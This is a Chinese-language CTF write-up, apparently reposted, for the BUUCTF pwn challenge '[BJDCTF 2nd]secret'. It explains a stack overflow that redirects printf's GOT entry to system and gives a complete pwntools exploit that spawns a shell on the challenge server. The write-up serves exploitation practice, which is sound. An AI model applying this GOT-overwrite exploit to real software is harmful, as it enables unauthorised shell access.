[BUUCTF-pwn]——[BJDCTF 2nd]secret
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——[BJDCTF 2nd]secret
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——[BJDCTF 2nd]secret
這道題目,看就考驗你的匯編能力了。
因為在反匯編的過程中,有一個函數過大,無法反匯編
在IDA中看到一個格外令人喜歡的東西,可是if 的條件無法反匯編。
進入匯編查看, 必須要這樣下去,才可以往下面一看絕望呀。超級多
最后才給你賦值為0,雖然這樣可以暴力破解,但是弄成千上萬次,也夠麻煩的。想要嘗試的朋友可以試試。
既然上面那種方法太過于,笨重。接著看代碼,發現
如果我們將printf的got表改為system的plt. 同時 buf寫入我們想要的 “/bin/sh" 或者 ” cat flag" 問題也就可以解決。
最后發現他們距離僅僅0x10也就是16
同時,我們發現每次轉跳都會執行,
瞌睡了送枕頭, 發現里面這個東西每次都會減一而且用的是*, 也就是如果這個是printf_got的話,每次都會讓got中的內容減一。
而它距離buf僅僅0x10,完全可以利用棧溢出進行覆蓋
思路
修改off_46D090, 為printf_got。
轉跳15次,也就是減去16
使得printf_got指向system
exploit
from pwn import *#p = process('./secret') p = remote('node3.buuoj.cn',26938) elf = ELF('./secret') printf_got = elf.got['printf']keys = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]payload = '/bin/sh\x00'.ljust(0x10,'a') + p32(printf_got) p.sendafter("What's your name?",payload) for key in keys:p.sendlineafter('Secret:',str(key)) p.sendlineafter('Secret:','5201314')p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——[BJDCTF 2nd]secret的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——bjdctf
- 下一篇: [BUUCTF-pwn]——jarvis